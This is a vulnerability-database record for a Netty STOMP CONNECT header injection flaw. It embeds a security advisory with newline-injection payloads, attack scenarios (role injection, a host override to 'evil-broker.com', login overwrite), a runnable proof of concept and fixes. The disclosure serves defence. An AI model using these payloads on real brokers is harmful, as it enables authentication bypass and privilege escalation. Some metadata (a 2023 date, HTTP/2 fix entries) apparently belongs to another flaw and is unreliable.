{"id":"CVE-2026-59920","aliases":["CLSA-2026-1787045999","CLSA-2026-1787049848","CLSA-2026-1787271464","CLSA-2026-1787301097","CLSA-2026-1787306632","CLSA-2026-1787309634","CLSA-2026-1787331164","CLSA-2026-1787333890","CLSA-2026-1787383378","CLSA-2026-1787397404","CLSA-2026-1789379074","DEBIAN-CVE-2026-59920","EUVD-2026-50424","GHSA-3g8r-4pfx-jmfh","GHSA-xpw8-rcwv-8f8p","RHLW-2026-b66720d53a6e2ba6","ROOT-APP-MAVEN-GHSA-xpw8-rcwv-8f8p","SUSE-SU-2026:3482-1","UBUNTU-CVE-2026-59920","openSUSE-SU-2026:11394-1"],"status":"published","title":"Netty: STOMP CONNECT Frame Header Injection","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00415,"percentile":0.36353,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-93"],"published":"2023-10-10T22:22:54Z","modified":"2026-11-10T19:58:30Z","fixes":[{"ecosystem":"Maven","package":"io.netty:netty-codec-stomp","fixed_in":["4.2.16.Final","4.1.136.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.100.Final"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Maven","package":"io.root.io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-root.io.1","4.1.97.Final-root.io.2","4.1.97.Final-root.io.3","4.1.97.Final-root.io.4","4.1.97.Final-root.io.5","4.1.97.Final-root.io.6","4.1.97.Final-root.io.7"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.netty:netty-codec-http2","fixed_in":["4.1.97.Final-aikido.7"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0.Final"},{"fixed":"4.2.16.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.136.Final"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.100.Final"}]}]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-all","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-bom","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-buffer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-dns","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-haproxy","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-http2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-memcache","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-mqtt","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-redis","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-smtp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-socks","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-stomp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.135.Final"},{"fixed":"4.1.135.Final-tuxcare.1"}]}],"versions":["4.1.135.Final"],"bundled":21},{"source":"osv","ecosystem":"TuxCare:Maven","package":"io.netty:netty-codec-xml","ranges":[{"type":"ECOSYSTEM","eve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Advisory","advisory","web","report"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.1.136.Final","tags":["web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3g8r-4pfx-jmfh","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-xpw8-rcwv-8f8p","tags":["web"]},{"url":"https://github.com/netty/netty/commit/58f75f665aa81a8cbcf6ffa74820042a285c5e61","tags":["web"]},{"url":"https://github.com/apple/swift-nio-http2/security/advisories/GHSA-qppj-fm5r-hxr3","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-44487","tags":["advisory"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2023-44487","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xpw8-rcwv-8f8p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59920.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59920","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-59920","tags":["advisory"]},{"url":"https://github.com/netty/netty","tags":["package"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44891.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-vhch-2wf3-m8rp","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44891","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["fix"]},{"url":"https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6","tags":["fix"]},{"url":"https://github.com/netty/netty/pull/17063","tags":["fix"]},{"url":"https://github.com/netty/netty/pull/17065","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-vhch-2wf3-m8rp","tags":["advisory"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20263482-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1271435","tags":["report"]},{"url":"https://bugzilla.suse.com/1271960","tags":["report"]},{"url":"https://bugzilla.suse.com/1271961","tags":["report"]},{"url":"https://bugzilla.suse.com/1272253","tags":["report"]},{"url":"https://bugzilla.suse.com/1272254","tags":["report"]},{"url":"https://bugzilla.suse.com/1272255","tags":["report"]},{"url":"https://bugzilla.suse.com/1272257","tags":["report"]},{"url":"https://bugzilla.suse.com/1272258","tags":["report"]},{"url":"https://bugzilla.suse.com/1272259","tags":["report"]},{"url":"https://bugzilla.suse.com/1272299","tags":["report"]},{"url":"https://bugzilla.suse.com/1272300","tags":["report"]},{"url":"https://bugzilla.suse.com/1272301","tags":["report"]},{"url":"https://bugzilla.suse.com/1272302","tags":["report"]},{"url":"https://bugzilla.suse.com/1272303","tags":["report"]},{"url":"https://bugzilla.suse.com/1272304","tags":["report"]},{"url":"https://bugzilla.suse.com/1272305","tags":["report"]},{"url":"https://bugzilla.suse.com/1272306","tags":["report"]},{"url":"https://bugzilla.suse.com/1272307","tags":["report"]},{"url":"https://bugzilla.suse.com/1272518","tags":["report"]},{"url":"https://bugzilla.suse.com/1272519","tags":["report"]},{"url":"https://bugzilla.suse.com/1272603","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-44891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55831","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55851","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56745","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56746","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56817","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56819","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56820","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56822","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59898","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59899","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59900","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59901","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59919","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59920","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59921","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-59920","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-59920","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-59920","title":"Netty: STOMP CONNECT Frame Header Injection","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-29T17:32:46.835Z","modified":"2026-07-29T19:24:41.74Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-93"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-50424","description":"Netty is an asynchronous, event-driven network application framework. In versions prior to 4.1.136.Final and 4.2.16.Final, Netty's STOMP encoder ( StompSubframeEncoder ) does not escape or validate header values in  CONNECT  and  CONNECTED  frames, so raw newline ( \\n ) characters in a header value are written directly to the wire, allowing an attacker who controls a header value to inject additional STOMP headers. This happens because the encoder intentionally skips escaping for CONNECT/CONNECTED frames per the STOMP 1.2 specification but never rejects the raw newlines, and since a broker parses each line as a separate header, an attacker controlling a value such as a user-supplied login or passcode can overwrite connection parameters or add authentication/role headers to bypass authentication or escalate privileges (the actual impact is broker-dependent). The issue is fixed in versions 4.1.136.Final and 4.2.16.Final.","status":"published","published":"2026-07-29T17:32:46Z","modified":"2026-07-29T19:24:41Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T18:02:29.367786Z"}],"ghsa":[{"id":"GHSA-3g8r-4pfx-jmfh","title":"Netty: STOMP CONNECT Frame Header Injection in Netty","description":"# Security Vulnerability Report: STOMP CONNECT Frame Header Injection in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-stomp) |\n| **Component** | `io.netty.handler.codec.stomp.StompSubframeEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: Improper Neutralization of CRLF in HTTP Headers |\n| **Impact** | STOMP Header Injection / Authentication Bypass |\n| **CVSS 3.1 Score** | **6.5 (Medium)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | Low |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | None |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `encodeHeaders()` method (lines 174-200)\n- `io.netty.handler.codec.stomp.StompSubframeEncoder` — `shouldEscape()` method (lines 214-216)\n\n## 3. Vulnerability Description\n\nThe Netty STOMP codec encoder (`StompSubframeEncoder`) intentionally skips the `escape()` function for `CONNECT` and `CONNECTED` commands. This means that newline characters (`\\n`) in header values of CONNECT frames are written directly to the output, allowing an attacker to inject additional STOMP headers.\n\n### Root Cause\n\nIn `StompSubframeEncoder.java`, the `shouldEscape()` method (lines 214-216) explicitly excludes CONNECT and CONNECTED commands from escaping:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return command != StompCommand.CONNECT \u0026\u0026 command != StompCommand.CONNECTED;\n}\n```\n\nWhen `shouldEscape()` returns `false`, header values are written without any escaping (line 195):\n\n```java\nCharSequence headerValue = shouldEscape ? escape(entry.getValue()) : entry.getValue();\nByteBufUtil.writeUtf8(buf, headerValue);  // Raw \\n written to output\nbuf.writeByte(StompConstants.LF);\n```\n\nFor other commands (SEND, SUBSCRIBE, etc.), the `escape()` method (lines 218-240) correctly converts `\\n` to `\\\\n`, `\\r` to `\\\\r`, `:` to `\\\\c`, and `\\\\` to `\\\\\\\\`.\n\n### STOMP Specification Context and Security Analysis\n\nThe STOMP 1.2 specification (Section 10, Value Encoding) states that CONNECT and CONNECTED frames should **not use escaping**, to maintain backwards compatibility with STOMP 1.0 clients that do not understand escape sequences.\n\n**However, \"no escaping\" does not mean \"no validation\".** The specification's intent is that CONNECT headers should not use the `\\n` → `\\\\n` escape notation. It does **not** mandate that implementations must accept raw newline characters within header values. There is a critical distinction:\n\n- **Escaping** = converting `\\n` to `\\\\n` in the wire format (spec says: don't do this for CONNECT)\n- **Validation** = rejecting header values that contain `\\n` (spec does not prohibit this)\n\nNetty's implementation conflates these two concepts: by skipping `escape()`, it also skips **all** protection against newline injection. The correct behavior would be to skip escaping but still **reject** values containing raw newline characters, since such values are inherently malformed — no legitimate STOMP 1.0 or 1.2 header value should contain a raw `\\n`.\n\nThis is analogous to Netty's own SMTP fix (GHSA-jq43-27x9-3v86): SMTP parameters don't need escaping either, but Netty added validation to reject CRLF in parameters. The same principle should apply here.\n\n**Additionally**, Netty's own test suite explicitly validates this non-escaping behavior in `StompSubframeEncoderTest.java:126-143` (`testNotEscapeStompHeadersForConnectCommand`), confirming that this is a deliberate design choice — but the test only verifies that escaping is skipped, not that injection is possible. The security implications were not considered.\n\n**Summary**: The vulnerability exists because:\n\n1. Header values in CONNECT frames are **neither escaped nor validated** for newlines\n2. A raw newline in a header value creates a **new header line** on the wire\n3. The STOMP broker parses each line as a separate header\n4. The fix should **validate** (reject `\\n`) rather than **escape** (convert `\\n` to `\\\\n`), maintaining spec compliance\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-stomp` module to encode STOMP frames\n2. User-controlled input is placed into header values of a `CONNECT` or `CONNECTED` frame\n3. The application does **not** perform its own newline sanitization\n4. The downstream STOMP broker processes the injected headers (broker-dependent)\n\n**Typical affected use cases**:\n- STOMP proxy/gateway applications that forward or construct CONNECT frames with user-supplied credentials\n- Web-to-STOMP bridge applications (e.g., WebSocket-STOMP proxies) where login/passcode come from web forms\n- Multi-tenant STOMP platforms where tenant-specific headers are injected into CONNECT frames\n\n## 5. Attack Scenarios\n\n### Scenario 1: Authentication Bypass via Header Injection\n\nAn attacker who can control any header value in a CONNECT frame can inject additional authentication-related headers:\n\n```java\nDefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\nframe.headers().set(StompHeaders.HOST, \"localhost\");\nframe.headers().set(StompHeaders.LOGIN, \"guest\");\n// Attacker injects a role header via \\n in passcode\nframe.headers().set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n```\n\n**Wire format sent to broker:**\n```\nCONNECT\nhost:localhost\nlogin:guest\npasscode:password\nadmin-role:true        \u003c-- INJECTED HEADER\n                       \u003c-- Empty line (end of headers)\n\\0\n```\n\nThe broker receives 5 headers instead of the intended 4. If the broker checks for an `admin-role` header to grant elevated privileges, the attacker bypasses authentication.\n\n### Scenario 2: Subscription Hijacking\n\n```java\nframe.headers().set(StompHeaders.PASSCODE, \"pass\\nhost:evil-broker.com\");\n```\n\nThis overwrites the `host` header, potentially redirecting the connection to an attacker-controlled STOMP broker (depending on broker implementation).\n\n### Scenario 3: Header Overwrite\n\n```java\nframe.headers().set(StompHeaders.LOGIN, \"user\\nlogin:admin\");\n```\n\n**Wire format:**\n```\nCONNECT\nlogin:user\nlogin:admin            \u003c-- INJECTED, may override first\n...\n```\n\nSome brokers use the last value when duplicate headers exist, allowing the attacker to escalate to the `admin` account.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (StompConnectHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.stomp.*;\n\nimport java.nio.charset.StandardCharsets;\n\n/**\n * PoC: STOMP CONNECT/CONNECTED Frame Header Injection Vulnerability\n *\n * Demonstrates that StompSubframeEncoder skips escape() for CONNECT and\n * CONNECTED commands, allowing \\n injection in header values to create\n * additional STOMP headers.\n */\npublic class StompConnectHeaderInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty STOMP CONNECT Header Injection PoC ===\\n\");\n\n        testConnectHeaderInjection();\n        testConnectVsOtherCommand();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: CONNECT command header injection via \\n in value\n     */\n    static void testConnectHeaderInjection() {\n        System.out.println(\"[TEST 1] CONNECT Header Value Injection\");\n        System.out.println(\"-----------------------------------------\");\n\n        // Craft a CONNECT frame with \\n in passcode value\n        DefaultStompHeaders headers = new DefaultStompHeaders();\n        headers.set(StompHeaders.HOST, \"localhost\");\n        headers.set(StompHeaders.ACCEPT_VERSION, \"1.2\");\n        headers.set(StompHeaders.LOGIN, \"user\");\n        headers.set(StompHeaders.PASSCODE, \"password\\nadmin-role:true\");\n\n        DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n        frame.headers().setAll(headers);\n\n        EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n        channel.writeOutbound(frame);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input passcode: \\\"password\\\\nadmin-role:true\\\"\");\n        System.out.println();\n        System.out.println(\"Encoded STOMP frame:\");\n        System.out.println(\"---\");\n        // Show with visible control chars\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\").replace(\"\\0\", \"\\\\0\"));\n        }\n        System.out.println(\"---\");\n\n        // Check if the injected header appears as a separate line\n        boolean hasInjectedHeader = false;\n        String[] lines = encoded.split(\"\\n\");\n        for (String line : lines) {\n            if (line.startsWith(\"admin-role:\")) {\n                hasInjectedHeader = true;\n                break;\n            }\n        }\n\n        System.out.println();\n        System.out.println(\"Injected 'admin-role' appears as separate header: \" + hasInjectedHeader);\n        System.out.println(\"VULNERABLE: \" + (hasInjectedHeader ?\n            \"YES - Header injection in CONNECT frame!\" : \"NO\"));\n\n        // Count actual STOMP headers (lines between command and empty line)\n        int headerCount = 0;\n        boolean inHeaders = false;\n        for (String line : lines) {\n            if (line.equals(\"CONNECT\")) {\n                inHeaders = true;\n                continue;\n            }\n            if (inHeaders \u0026\u0026 line.trim().isEmpty()) break;\n            if (inHeaders \u0026\u0026 line.contains(\":\")) headerCount++;\n        }\n        System.out.println(\"Expected headers: 4 (host, accept-version, login, passcode)\");\n        System.out.println(\"Actual headers:   \" + headerCount);\n        System.out.println();\n    }\n\n    /**\n     * Test 2: Compare CONNECT (no escape) vs SEND (with escape)\n     */\n    static void testConnectVsOtherCommand() {\n        System.out.println(\"[TEST 2] CONNECT vs SEND Escape Comparison\");\n        System.out.println(\"--------------------------------------------\");\n\n        String maliciousValue = \"value\\ninjected:evil\";\n\n        // Test CONNECT (no escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.HOST, \"localhost\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.CONNECT);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"CONNECT frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Raw \\\\n in output: \" + hasRawNewline);\n            System.out.println(\"  VULNERABLE: \" + (hasRawNewline ? \"YES\" : \"NO\"));\n        }\n\n        System.out.println();\n\n        // Test SEND (with escape)\n        {\n            DefaultStompHeaders headers = new DefaultStompHeaders();\n            headers.set(StompHeaders.DESTINATION, \"/queue/test\");\n            headers.set(\"custom\", maliciousValue);\n\n            DefaultStompFrame frame = new DefaultStompFrame(StompCommand.SEND);\n            frame.headers().setAll(headers);\n            EmbeddedChannel channel = new EmbeddedChannel(new StompSubframeEncoder());\n            channel.writeOutbound(frame);\n\n            ByteBuf output = channel.readOutbound();\n            String encoded = output.toString(StandardCharsets.UTF_8);\n            output.release();\n            channel.finishAndReleaseAll();\n\n            System.out.println(\"SEND frame with custom=\\\"value\\\\ninjected:evil\\\":\");\n            System.out.println(\"  Encoded: \" + encoded.replace(\"\\n\", \"\\\\n\").replace(\"\\0\", \"\\\\0\"));\n\n            boolean hasEscapedNewline = encoded.contains(\"value\\\\ninjected\\\\cevil\");\n            boolean hasRawNewline = encoded.contains(\"value\\ninjected:evil\");\n            System.out.println(\"  Escaped \\\\n: \" + hasEscapedNewline);\n            System.out.println(\"  Raw \\\\n:     \" + hasRawNewline);\n            System.out.println(\"  SAFE: \" + (hasEscapedNewline \u0026\u0026 !hasRawNewline ? \"YES\" : \"NO\"));\n        }\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-stomp,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" StompConnectHeaderInjectionPoC.java\njava -cp \"$JARS:.\" StompConnectHeaderInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty STOMP CONNECT Header Injection PoC ===\n\n[TEST 1] CONNECT Header Value Injection\n-----------------------------------------\nInput passcode: \"password\\nadmin-role:true\"\n\nEncoded STOMP frame:\n---\n  CONNECT\n  host:localhost\n  accept-version:1.2\n  login:user\n  passcode:password\n  admin-role:true          \u003c-- INJECTED HEADER\n\n  \\0\n---\n\nInjected 'admin-role' appears as separate header: true\nVULNERABLE: YES - Header injection in CONNECT frame!\nExpected headers: 4 (host, accept-version, login, passcode)\nActual headers:   5\n\n[TEST 2] CONNECT vs SEND Escape Comparison\n--------------------------------------------\nCONNECT frame with custom=\"value\\ninjected:evil\":\n  Encoded: CONNECT\\nhost:localhost\\ncustom:value\\ninjected:evil\\n\\n\\0\n  Raw \\n in output: true\n  VULNERABLE: YES\n\nSEND frame with custom=\"value\\ninjected:evil\":\n  Encoded: SEND\\ndestination:/queue/test\\ncustom:value\\ninjected\\cevil\\n\\n\\0\n  Escaped \\n: true\n  Raw \\n:     false\n  SAFE: YES\n\n\n=== PoC Complete ===\n```\n\n### Key Observation\n\nThe PoC demonstrates a clear inconsistency:\n- **CONNECT** command: `\\n` is written **raw** → header injection succeeds\n- **SEND** command: `\\n` is escaped to `\\\\n` → header injection prevented\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Authentication** | Injected headers may bypass broker authentication logic |\n| **Authorization** | Role escalation via injected role/permission headers |\n| **Integrity** | Modification of connection parameters (host, version, etc.) |\n| **Broker-Specific** | Impact varies by STOMP broker implementation (RabbitMQ, ActiveMQ, etc.) |\n\n### Affected Brokers\n\nThis vulnerability affects any application using Netty's STOMP encoder to communicate with STOMP brokers. The actual exploitability depends on the broker's handling of unexpected headers:\n\n- **RabbitMQ**: Uses specific headers for authentication; additional headers are typically ignored but may affect plugins\n- **ActiveMQ**: May process custom headers for internal routing\n- **Custom Brokers**: Most likely to be affected if they trust all received headers\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate CONNECT Header Values (Recommended)\n\nAdd newline validation for CONNECT/CONNECTED frames instead of skipping escaping entirely:\n\n```java\nprivate static void encodeHeaders(StompHeadersSubframe frame, ByteBuf buf) {\n    StompCommand command = frame.command();\n    ByteBufUtil.writeUtf8(buf, command.toString());\n    buf.writeByte(StompConstants.LF);\n\n    boolean shouldEscape = shouldEscape(command);\n    for (Entry\u003cCharSequence, CharSequence\u003e entry : frame.headers()) {\n        CharSequence headerKey = entry.getKey();\n        CharSequence headerValue = entry.getValue();\n\n        if (shouldEscape) {\n            headerKey = escape(headerKey);\n            headerValue = escape(headerValue);\n        } else {\n            // For CONNECT/CONNECTED: don't escape but REJECT newlines\n            validateNoNewlines(headerKey, \"header name\");\n            validateNoNewlines(headerValue, \"header value\");\n        }\n\n        ByteBufUtil.writeUtf8(buf, headerKey);\n        buf.writeByte(StompConstants.COLON);\n        ByteBufUtil.writeUtf8(buf, headerValue);\n        buf.writeByte(StompConstants.LF);\n    }\n    buf.writeByte(StompConstants.LF);\n}\n\nprivate static void validateNoNewlines(CharSequence value, String type) {\n    for (int i = 0; i \u003c value.length(); i++) {\n        char c = value.charAt(i);\n        if (c == '\\n' || c == '\\r') {\n            throw new IllegalArgumentException(\n                \"STOMP CONNECT \" + type + \" contains illegal newline at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Apply Escaping to All Commands\n\nSimply remove the CONNECT/CONNECTED exception:\n\n```java\nprivate static boolean shouldEscape(StompCommand command) {\n    return true; // Always escape\n}\n```\n\nNote: This may break compatibility with STOMP 1.0 clients, but is the most secure 